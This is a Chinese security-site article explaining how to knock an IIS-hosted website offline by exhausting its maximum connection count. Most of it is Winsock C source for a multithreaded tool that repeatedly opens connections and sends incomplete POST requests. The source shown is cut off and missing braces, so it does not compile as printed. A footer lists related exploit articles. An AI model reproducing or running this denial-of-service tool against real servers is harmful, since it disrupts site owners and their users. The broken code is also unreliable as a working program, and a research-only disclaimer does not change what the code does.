利用IIS最大连接数实现网站DOS(图)

所属分类: 实用技巧 / 漏洞研究 阅读数: 825
收藏 0 赞 0 分享
安全中国提示:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负!

最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。
这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。
具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:

#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数

int ThreadCount=0; 

struct mydata
{
 char *ip;
 int port;
};

 
unsigned int resolve(char *name)
{
 struct hostent *he;
 unsigned int ip;

 if((ip=inet_addr(name))==(-1))
 {
 if((he=gethostbyname(name))==0)
 return 0;
 memcpy(&ip,he->h_addr,4);
 }
 return ip;
}

 
DWORD WINAPI Dos(LPVOID lpParam ) 

 mydata *csdn = (mydata*)lpParam;
 struct sockaddr_in server;
 server.sin_family = AF_INET;
 server.sin_port = htons(csdn->port);
 server.sin_addr.s_addr = resolve((char*)csdn->ip);
 if(server.sin_addr.s_addr==0)
 {

 printf("Don’t find address %s\n",(char*)csdn->ip);
 exit(0);
 }
 int my;
 char buf[100]="POST / HTTP/1.1\r\nHost: ";
 strcat(buf,(char*)csdn->ip);
 strcat(buf," \r\nContent-Length: 10\r\n\r\n");
 my=socket(PF_INET,SOCK_STREAM,0);
 if(my==INVALID_SOCKET)
 {
 printf("ERROR");
 exit(0);
 }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
 {
 printf("Socket ERROR:%d",GetLastError());
 exit(0);
 }
 if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
 ThreadCount--;
 return 0; 


void thread ( char *a1 , char *a2 , char *a3 )
{
 static mydata tmp;
 tmp.ip = a1;
 tmp.port = atoi(a2);

 DWORD dwThreadId;
 HANDLE hThread; 
 WSADATA ws;
 if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
 {
 printf(" [-] WSAStartup() error\n");
 exit(0);
 }

 hThread = CreateThread( 
 NULL, // no security attributes 
 0, // use default stack size 
 Dos, // thread function 
 &tmp, // argument to thread function 
 0, // use default creation flags 
 &dwThreadId); // returns the thread identifier 
 if (hThread == NULL) 
 printf( "CreateThread failed." ); 
 ThreadCount++;
 Sleep(200); //延时,否则CPU会用满……
 CloseHandle(hThread);
更多精彩内容其他人还在看

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码
收藏 0 赞 0 分享

跨站脚本攻击+Cookies欺骗(Discuz篇)

跨站脚本攻击+Cookies欺骗(Discuz篇)
收藏 0 赞 0 分享

Dvbbs7.1.0 cookie存在泄露绝对路径漏洞

Dvbbs7.1.0 cookie存在泄露绝对路径漏洞
收藏 0 赞 0 分享

关于对SQL注入80004005 及其它错误消息分析

关于对SQL注入80004005 及其它错误消息分析
收藏 0 赞 0 分享

针对蓝牙PIN码的最新攻击技术细节分析

针对蓝牙PIN码的最新攻击技术细节分析
收藏 0 赞 0 分享

细说3721网络实名“病毒”

细说3721网络实名“病毒”
收藏 0 赞 0 分享

浅谈SQL SERVER数据库口令的脆弱性

浅谈SQL SERVER数据库口令的脆弱性
收藏 0 赞 0 分享

MSHTA漏洞为黑客大开远程控制之门(图)

MSHTA漏洞为黑客大开远程控制之门(图)
收藏 0 赞 0 分享

再探九酷网络个人主页空间管理系统

再探九酷网络个人主页空间管理系统
收藏 0 赞 0 分享

黑客突破防火墙常用的几种技术

黑客突破防火墙常用的几种技术
收藏 0 赞 0 分享
查看更多